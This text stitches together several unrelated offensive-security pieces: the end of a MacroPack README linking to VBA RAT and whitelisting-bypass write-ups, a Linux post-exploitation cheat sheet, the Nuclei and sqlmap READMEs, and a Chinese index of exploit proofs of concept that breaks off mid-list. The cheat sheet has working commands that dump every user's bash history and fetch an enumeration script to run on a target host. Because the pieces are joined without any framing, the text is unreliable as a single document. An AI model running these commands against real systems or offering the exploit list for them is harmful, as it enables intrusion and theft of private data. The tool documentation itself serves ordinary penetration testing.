https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html - http://blog.sevagas.com/?My-VBA-Bot (write a full VBA RAT, includes how to bypass VBOM protection) - http://blog.sevagas.com/?Hacking-around-HTA-files (run hta code in non-hta files and hta polyglots) - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (About Dynamic Data Exchange attacks) - https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ Other useful links: - https://github.com/p3nt4/PowerShdll (Run PowerShell with dlls only) - https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Run powershell script with PowerShdll VBA implementation) - https://github.com/EmpireProject/Empire - https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279 - https://github.com/Cn33liz/MacroMeter - https://github.com/khr0x40sh/MacroShop - https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script - https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard ## Contact Feel free to message me on my Twitter account [@EmericNasi](https://twitter.com/EmericNasi) Emails: * emeric.nasi[ at ]sevagas.com * ena.sevagas[ at ]protonmail.com **Important:** If you wish to contact me about MacroPack pro, use my sevagas.com email address. Also please note that I will not answer anonymous inquiries for the Pro version, only professional emails. ## License and credits [The Apache License 2.0](https://www.apache.org/licenses/LICENSE-2.0.html) Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi ([blog.sevagas.com](https://blog.sevagas.com))
# Post-Exploitation on Linux ## Data Haversting and Enumaration ### Common users `awk -F: '{ if($3 >= 1000) print $1}' passwd >> users` ### Reading bash_history files Mapping users directories `ls /home/ > users_home` Reading files `for user in $(cat home_users); do echo $user; cat /home/$user/.bash_history ; echo -e "=====\n" ;done` ### Using great scripts LinEnu.sh wget [LinEnum.sh](https://raw.githubusercontent.com/kitsun3sec/Pentest-Cheat-Sheets/master/CheatSheets/pos_xpl/LinEnum.sh) #### Upload it to the target and run through terminal ```bash > chmod +x LinEnum.sh > ./LinEnum.sh -t ``` #### Done, now pay attention to the output and see if there is anything *interesting* ## OTHERS SCRIPTS * [LinuxPrivChecker](https://www.securitysift.com/download/linuxprivchecker.py) * [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester) * [High Coffee](https://highon.coffee/downloads/linux-local-enum.sh)
<h1 align="center"> <br> <a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a> </h1> <h4 align="center">Fast and customisable vulnerability scanner based on simple YAML based DSL.</h4> <p align="center"> <img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod"> <a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total"> <a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei"> <a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei"> <a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei"> <a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei"> <a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a> <a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a> </p> <p align="center"> <a href="#how-it-works">How</a> • <a href="#install-nuclei">Install</a> • <a href="#for-security-engineers">For Security Engineers</a> • <a href="#for-developers-and-organizations">For Developers</a> • <a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Documentation</a> • <a href="#credits">Credits</a> • <a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> • <a href="https://discord.gg/projectdiscovery">Join Discord</a> </p> <p align="center"> <a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> • <a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> • <a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> • <a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> </p> --- Nuclei is used to send requests across targets based on a template, leading to zero false positives and providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols, including TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless etc. With powerful and flexible templating, Nuclei can be used to model all kinds of security checks. We have a [dedicated repository](https://github.com/projectdiscovery/nuclei-templates) that houses various type of vulnerability templates contributed by **more than 300** security researchers and engineers. ## How it works <h3 align="center"> <img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a> </h3> | :exclamation: **Disclaimer** | |---------------------------------| | **This project is in active development**. Expect breaking changes with releases. Review the release changelog before updating. | | This project was primarily built to be used as a standalone CLI tool. **Running nuclei as a service may pose security risks.** It's recommended to use with caution and additional security measures. | # Install Nuclei Nuclei requires **go1.20** to install successfully. Run the following command to install the latest version - ```sh go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest ``` <details> <summary>Brew</summary> ```sh brew install nuclei ``` </details> <details> <summary>Docker</summary> ```sh docker pull projectdiscovery/nuclei:latest ``` </details> **More installation [methods can be found here](https://nuclei.projectdiscovery.io/nuclei/get-started/).** <table> <tr> <td> ### Nuclei Templates Nuclei has built-in support for automatic template download/update as default since version [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2). [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) project provides a community-contributed list of ready-to-use templates that is constantly updated. You may still use the `update-templates` flag to update the nuclei templates at any time; You can write your own checks for your individual workflow and needs following Nuclei's [templating guide](https://nuclei.projectdiscovery.io/templating-guide/). The YAML DSL reference syntax is available [here](SYNTAX-REFERENCE.md). </td> </tr> </table> ### Usage ```sh nuclei -h ``` This will display help for the tool. Here are all the switches it supports. ```console Nuclei is a fast, template based vulnerability scanner focusing on extensive configurability, massive extensibility and ease of use. Usage: ./nuclei [flags] Flags: TARGET: -u, -target string[] target URLs/hosts to scan -l, -list string path to file containing a list of target URLs/hosts to scan (one per line) -resume string resume scan using resume.cfg (clustering will be disabled) -sa, -scan-all-ips scan all the IP's associated with dns record -iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4) TEMPLATES: -nt, -new-templates run only new templates added in latest nuclei-templates release -ntv, -new-templates-version string[] run new templates added in specific version -as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping -t, -templates string[] list of template or template directory to run (comma-separated, file) -tu, -template-url string[] list of template urls to run (comma-separated, file) -w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file) -wu, -workflow-url string[] list of workflow urls to run (comma-separated, file) -validate validate the passed templates to nuclei -nss, -no-strict-syntax disable strict syntax check on templates -td, -template-display displays the templates content -tl list all available templates FILTERING: -a, -author string[] templates to run based on authors (comma-separated, file) -tags string[] templates to run based on tags (comma-separated, file) -etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file) -itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration -id, -template-id string[] templates to run based on template ids (comma-separated, file) -eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file) -it, -include-templates string[] templates to be executed even if they are excluded either by default or configuration -et, -exclude-templates string[] template or template directory to exclude (comma-separated, file) -em, -exclude-matchers string[] template matchers to exclude in result -s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown -es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown -pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois -ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois -tc, -template-condition string[] templates to run based on expression condition OUTPUT: -o, -output string output file to write found issues/vulnerabilities -sresp, -store-resp store all request/response passed through nuclei to output directory -srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output") -silent display findings only -nc, -no-color disable output content coloring (ANSI escape codes) -j, -jsonl write output in JSONL(ines) format -irr, -include-rr include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true) -or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) -nm, -no-meta disable printing result metadata in cli output -ts, -timestamp enables printing timestamp in cli output -rdb, -report-db string nuclei reporting database (always use this to persist report data) -ms, -matcher-status display match failure status -me, -markdown-export string directory to export results in markdown format -se, -sarif-export string file to export results in SARIF format -je, -json-export string file to export results in JSON format -jle, -jsonl-export string file to export results in JSONL(ine) format CONFIGURATIONS: -config string path to the nuclei configuration file -fr, -follow-redirects enable following redirects for http templates -fhr, -follow-host-redirects follow redirects on the same host -mr, -max-redirects int max number of redirects to follow for http templates (default 10) -dr, -disable-redirects disable redirects for http templates -rc, -report-config string nuclei reporting module configuration file -H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file) -V, -var value custom vars in key=value format -r, -resolvers string file containing resolver list for nuclei -sr, -system-resolvers use system DNS resolving as error fallback -dc, -disable-clustering disable clustering of requests -passive enable passive HTTP response processing mode -fh2, -force-http2 force http2 connection on requests -ev, -env-vars enable environment variables to be used in template -cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts -ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts -ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts -sml, -show-match-line show match lines for file templates, works with extractors only -ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default -sni string tls sni hostname to use (default: input domain name) -lfa, -allow-local-file-access allows file (payload) access anywhere on the system -lna, -restrict-local-network-access blocks connections to the local / private network -i, -interface string network interface to use for network scan -at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb) -sip, -source-ip string source ip address to use for network scan -config-directory string override the default config path ($home/.config) -rsr, -response-size-read int max response size to read in bytes (default 10485760) -rss, -response-size-save int max response size to read in bytes (default 1048576) -reset reset removes all nuclei configuration and data files (including nuclei-templates) -tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization INTERACTSH: -iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me) -itoken, -interactsh-token string authentication token for self-hosted interactsh server -interactions-cache-size int number of requests to keep in the interactions cache (default 5000) -interactions-eviction int number of seconds to wait before evicting requests from cache (default 60) -interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5) -interactions-cooldown-period int extra time for interaction polling before exiting (default 5) -ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates FUZZING: -ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix) -fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single) UNCOVER: -uc, -uncover enable uncover engine -uq, -uncover-query string[] uncover search query -ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (default shodan) -uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port") -ul, -uncover-limit int uncover results to return (default 100) -ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60) RATE-LIMIT: -rl, -rate-limit int maximum number of requests to send per second (default 150) -rlm, -rate-limit-minute int maximum number of requests to send per minute -bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25) -c, -concurrency int maximum number of templates to be executed in parallel (default 25) -hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10) -headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10) OPTIMIZATIONS: -timeout int time to wait in seconds before timeout (default 10) -retries int number of times to retry a failed request (default 1) -ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443) -mhe, -max-host-error int max errors for a host before skipping from scan (default 30) -te, -track-error string[] adds given error to max-host-error watchlist (standard, file) -nmhe, -no-mhe disable skipping host from scan based on errors -project use a project folder to avoid sending same request multiple times -project-path string set a specific project path (default "/tmp") -spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic) -stream stream mode - start elaborating without sorting the input -ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto) -irt, -input-read-timeout duration timeout on input read (default 3m0s) -nh, -no-httpx disable httpx probing for non-url input -no-stdin disable stdin processing HEADLESS: -headless enable templates that require headless browser support (root user on Linux will disable sandbox) -page-timeout int seconds to wait for each page in headless mode (default 20) -sb, -show-browser show the browser on the screen when running templates with headless mode -sc, -system-chrome use local installed Chrome browser instead of nuclei installed -lha, -list-headless-action list available headless actions DEBUG: -debug show all requests and responses -dreq, -debug-req show all sent requests -dresp, -debug-resp show all received responses -p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input) -pi, -proxy-internal proxy all internal requests -ldf, -list-dsl-function list all supported DSL function signatures -tlog, -trace-log string file to write sent requests trace log -elog, -error-log string file to write sent requests error log -version show nuclei version -hm, -hang-monitor enable nuclei hang monitoring -v, -verbose show verbose output -profile-mem string optional nuclei memory profile dump file -vv display templates loaded for scan -svd, -show-var-dump show variables dump for debugging -ep, -enable-pprof enable pprof debugging server -tv, -templates-version shows the version of the installed nuclei-templates -hc, -health-check run diagnostic check up UPDATE: -up, -update update nuclei engine to the latest released version -ut, -update-templates update nuclei-templates to latest released version -ud, -update-template-dir string custom directory to install / update nuclei-templates -duc, -disable-update-check disable automatic nuclei/templates update check STATISTICS: -stats display statistics about the running scan -sj, -stats-json display statistics in JSONL(ines) format -si, -stats-interval int number of seconds to wait between showing a statistics update (default 5) -m, -metrics expose nuclei metrics on a port -mp, -metrics-port int port to expose nuclei metrics on (default 9092) CLOUD: -cloud run scan on nuclei cloud -ads, -add-datasource string add specified data source (s3,github) -atr, -add-target string add target(s) to cloud -atm, -add-template string add template(s) to cloud -lsn, -list-scan list previous cloud scans -lso, -list-output string list scan output by scan id -ltr, -list-target list cloud target by id -ltm, -list-template list cloud template by id -lds, -list-datasource list cloud datasource by id -lrs, -list-reportsource list reporting sources -dsn, -delete-scan string delete cloud scan by id -dtr, -delete-target string delete target(s) from cloud -dtm, -delete-template string delete template(s) from cloud -dds, -delete-datasource string delete specified data source -drs, -disable-reportsource string disable specified reporting source -ers, -enable-reportsource string enable specified reporting source -gtr, -get-target string get target content by id -gtm, -get-template string get template content by id -nos, -no-store disable scan/output storage on cloud -no-tables do not display pretty-printed tables -limit int limit the number of output to display (default 100) ``` ### Running Nuclei Scanning target domain with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates. ```sh nuclei -u https://example.com ``` Scanning target URLs with [community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei templates. ```sh nuclei -list urls.txt ``` Example of `urls.txt`: ```yaml http://example.com http://app.example.com http://test.example.com http://uat.example.com ``` **More detailed examples of running nuclei can be found [here](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).** # For Security Engineers Nuclei offers great number of features that are helpful for security engineers to customise workflow in their organization. With the varieties of scan capabilities (like DNS, HTTP, TCP), security engineers can easily create their suite of custom checks with Nuclei. - Varieties of protocols supported: TCP, DNS, HTTP, File, etc - Achieve complex vulnerability steps with workflows and [dynamic requests.](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/) - Easy to integrate into CI/CD, designed to be easily integrated into regression cycle to actively check the fix and re-appearance of vulnerability. <h1 align="left"> <a href="https://nuclei.projectdiscovery.io/nuclei/get-started/"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a> </h1> <table> <tr> <td> **For Bug Bounty hunters:** Nuclei allows you to customise your testing approach with your own suite of checks and easily run across your bug bounty programs. Moreover, Nuclei can be easily integrated into any continuous scanning workflow. - Designed to be easily integrated into other tool workflow. - Can process thousands of hosts in few minutes. - Easily automate your custom testing approach with our simple YAML DSL. Please check our other open-source projects that might fit into your bug bounty workflow: [github.com/projectdiscovery](http://github.com/projectdiscovery), we also host daily [refresh of DNS data at Chaos](http://chaos.projectdiscovery.io). </td> </tr> </table> <table> <tr> <td> **For Penetration Testers:** Nuclei immensely improve how you approach security assessment by augmenting the manual, repetitive processes. Consultancies are already converting their manual assessment steps with Nuclei, it allows them to run set of their custom assessment approach across thousands of hosts in an automated manner. Pen-testers get the full power of our public templates and customization capabilities to speed up their assessment process, and specifically with the regression cycle where you can easily verify the fix. - Easily create your compliance, standards suite (e.g. OWASP Top 10) checklist. - With capabilities like [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) and [workflows](https://nuclei.projectdiscovery.io/templating-guide/workflows/), complex manual steps and repetitive assessment can be easily automated with Nuclei. - Easy to re-test vulnerability-fix by just re-running the template. </td> </tr> </table> # For Developers and Organizations Nuclei is built with simplicity in mind, with the community backed templates by hundreds of security researchers, it allows you to stay updated with the latest security threats using continuous Nuclei scanning on the hosts. It is designed to be easily integrated into regression tests cycle, to verify the fixes and eliminate vulnerabilities from occurring in the future. - **CI/CD:** Engineers are already utilising Nuclei within their CI/CD pipeline, it allows them to constantly monitor their staging and production environments with customised templates. - **Continuous Regression Cycle:** With Nuclei, you can create your custom template on every new identified vulnerability and put into Nuclei engine to eliminate in the continuous regression cycle. We have [a discussion thread around this](https://github.com/projectdiscovery/nuclei-templates/discussions/693), there are already some bug bounty programs giving incentives to hackers on writing nuclei templates with every submission, that helps them to eliminate the vulnerability across all their assets, as well as to eliminate future risk in reappearing on productions. If you're interested in implementing it in your organization, feel free to [reach out to us](mailto:[email protected]). We will be more than happy to help you in the getting started process, or you can also post into the [discussion thread for any help](https://github.com/projectdiscovery/nuclei-templates/discussions/693). <h3 align="center"> <img src="static/regression-with-nuclei.jpg" alt="regression-cycle-with-nuclei" width="1100px"></a> </h3> <h1 align="left"> <a href="https://github.com/projectdiscovery/nuclei-action"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a> </h1> ### Using Nuclei From Go Code Examples of using Nuclei From Go Code to run templates on targets are provided in the [examples](v2/examples/) folder. ### Resources - [Finding bugs with Nuclei with PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) by **[@PinkDraconian](https://twitter.com/PinkDraconian)** - [Nuclei: Packing a Punch with Vulnerability Scanning](https://bishopfox.com/blog/nuclei-vulnerability-scan) by **Bishopfox** - [The WAF efficacy framework](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) by **Fastly** - [Scanning Live Web Applications with Nuclei in CI/CD Pipeline](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) by **[@TristanKalos](https://twitter.com/TristanKalos)** - [Community Powered Scanning with Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/) - [Nuclei Unleashed - Quickly write complex exploits](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/) - [Nuclei - Fuzz all the things](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/) - [Nuclei + Interactsh Integration for Automating OOB Testing](https://blog.projectdiscovery.io/nuclei-interactsh-integration/) - [Weaponizes nuclei Workflows to Pwn All the Things](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) by **[@dwisiswant0](https://github.com/dwisiswant0)** - [How to Scan Continuously with Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) by **[@dwisiswant0](https://github.com/dwisiswant0)** - [Hack with Automation !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) by **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)** ### Credits Thanks to all the amazing [community contributors for sending PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) and keeping this project updated. :heart: If you have an idea or some kind of improvement, you are welcome to contribute and participate in the Project, feel free to send your PR. <p align="center"> <a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"> <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500"> </a> </p> Do also check out the below similar open-source projects that may fit in your workflow: [FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop) ### License Nuclei is distributed under [MIT License](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) <h1 align="left"> <a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://nuclei.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a> </h1>
sqlmap == sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Screenshots ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki. Installation ---- You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6.x** and **2.7.x** on any platform. Usage ---- To get a list of basic options and switches use: python sqlmap.py -h To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://gist.github.com/stamparm/5335217). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users * Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations ---- * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
## <span id="head1"> Penetration_Testing_POC</span> 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享,作为笔记吧,欢迎补充。 - [ Penetration_Testing_POC](#head1) - [ 请善用搜索[`Ctrl+F`]查找](#head2) - [IOT Device&Mobile Phone](#head3) - [Web APP](#head4) - [ 提权辅助相关](#head5) - [ PC](#head6) - [ tools-小工具集合](#head7) - [ 文章/书籍/教程相关](#head8) - [ 说明](#head9) ## <span id="head2"> 请善用搜索[`Ctrl+F`]查找</span> ## <span id="head3">IOT Device&Mobile Phone</span> - [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md) - [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md) - [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) - [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md) - [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051) - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE) - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb) - [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb) - [从 Interfaces.d 到 RCE:Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/) - [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md) - [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158) - [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154) - [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md) - [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC) - [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger) - [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py) - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits) ## <span id="head4">Web APP</span> - [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md) - [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md) - [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) - [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) - [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) - [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md) - [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md) - [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md) - [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md) - [Cobub Razor 0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) - [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) - [DomainMod的XSS集合](DomainMod的XSS集合.md) - [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) - [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md) - [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md) - [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) - [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) - [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md) - [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) - [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) - [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) - [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) - [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) - [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md) - [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) - 